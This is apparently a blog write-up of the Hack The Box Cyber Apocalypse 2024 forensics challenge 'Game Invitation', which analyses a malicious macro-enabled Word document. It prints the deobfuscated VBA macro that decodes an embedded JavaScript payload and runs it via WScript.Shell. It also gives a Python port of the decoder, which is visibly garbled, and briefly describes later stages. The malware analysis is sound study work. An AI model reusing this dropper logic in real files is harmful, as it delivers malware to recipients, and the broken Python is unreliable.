Forensics: Game Invitation

Forensics: Game Invitation

Hack The Box CFT Cyber Apocalypse 2024


In the bustling city of KORPβ„’, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: "Join The Fray: Embrace the Challenge." But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?

Type: Forensics
Difficulty: Hard
Event: Hack The Box Cyber Apocalypse 2024: Hacker Royale (ctftime)

Initial recon

Given: single DOCM file.

$ invitation.docm (read-only)


DOCM is are macro-enabled Microsoft Word document format. Analysis of this kind of files are in my opinion the most popular tasks whenever forensics category is included in CTF events. I covered two of those in my blog:

So without further ado, let's extract that VBA macro using olevba Python script.

$ olevba invitation.docm
//... (output trimmed for readability)

VBA macro

I will save you reading the origal, obfuscated script.

Stage 01 (deobfuscated)

Public jspath As String
Public appdataPath As String

Function xorString(given_string() As Byte, length As Long) As Boolean
    Dim xor_key As Byte
    xor_key = 45
    For i = 0 To length - 1
        given_string(i) = given_string(i) Xor xor_key
        xor_key = ((xor_key Xor 99) Xor (i Mod 254))
    Next i
    xorString = TRUE
End Function

Dim filenumber
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
filenumber = FreeFile
Open (ActiveDocument.FullName) For Binary As #filenumber
Dim byteArray() As Byte
ReDim byteArray(file_length)
Get #filenumber, 1, byteArray
Dim convertedToUnicode As String
convertedToUnicode = StrConv(byteArray, vbUnicode)
Dim singeMatch, matches
Dim regexp
Set regexp = CreateObject("vbscript.regexp")
regexp.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
Set matches = regexp.Execute(convertedToUnicode)
Dim indexOfFirstMatch
If matches.Count = 0 Then
    GoTo lable1
End If
For Each singleMatch In matches
    indexOfFirstMatch = singleMatch.FirstIndex
    Exit For
Dim secondByteArray() As Byte
Dim arbitraryLength As Long
arbitraryLength = 13082
ReDim secondByteArray(arbitraryLength)
Get #filenumber, indexOfFirstMatch + 81, secondByteArray
If Not xorString(secondByteArray(), arbitraryLength + 1) Then
    GoTo lable1
End If
appdataPath = Environ("appdata") & "\Microsoft\Windows"
Set fileSystemObject = CreateObject("Scripting.FileSystemObject")
If Not fileSystemObject.FolderExists(appdataPath) Then
    appdataPath = Environ("appdata")
End If
Set fileSystemObject = Nothing
Dim fileNumber2
fileNumber2 = FreeFile
jspath = appdataPath & "\\" & "mailform.js"
Open (jspath) For Binary As #fileNumber2
Put #fileNumber2, 1, secondByteArray
Close #fileNumber2
Erase secondByteArray
Set shellObject = CreateObject("WScript.Shell")
shellObject.Run """" + jspath + """" + " vF8rdgMHKBrvCoCp0ulm"
Exit Sub
Close #fileNumber2
End If
End Sub
  1. Read current file (DOCM) binary.

  2. Search for the pattern in the binary data.

  3. Run custom XORing function over the succeeding 13082 bytes.

  4. Resulting binary data is saves as a mailform.js.

  5. WScript mailform.js is then executed with the argument vF8rdgMHKBrvCoCp0ulm

I have transcribed the VBA into the Python script to obtain the mailform.js.

Stage 01 (Python)

import re

def xorString(given_string, length):
    xor_key = 45
    for i in range(length):
        given_string[i] = given_string[i] ^ xor_key
        xor_key = ((xor_key ^ 99) ^ (i % 254))
    return given_string

def main():    
    with open('invitation.docm', 'rb') as docmFile:
        byteArray = bytearray(
        convertedToUnicode = byteArray

        pattern = b'sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa'
        matches = re.finditer(pattern, convertedToUnicode)

        indexOfFirstMatch = None
        for singleMatch in matches:
            indexOfFirstMatch = singleMatch.start()

        if indexOfFirstMatch is None:
            print('pattern not found')

        arbitraryLength = 13082 + 80)
        secondByteArray = bytearray(

        secondByteArray = xorString(secondByteArray, arbitraryLength)

        with open("mailform.js", 'wb') as docmFile2:

if __name__ == "__main__":

This resulted in the JS file.

Stage 02 (mailform.js)

Because it is a JavaScript we can leverage it very carefuly to let the browser decode the code for us and retrieve the next payload. Please do notice that I've marked the hazardous eval(..) function that has to be removed to neutralize the payload. I have replaces it with a console.log(..).

You never want any kind of eval or Invoke-Expression slip through.

Stage 03

More JavaScript to deobfuscate. Unless..

And after decoding this in CyberChef πŸŽ‰

Additional reading

Did you find this article valuable?

Support Kamil Gierach-Pacanek by becoming a sponsor. Any amount is appreciated!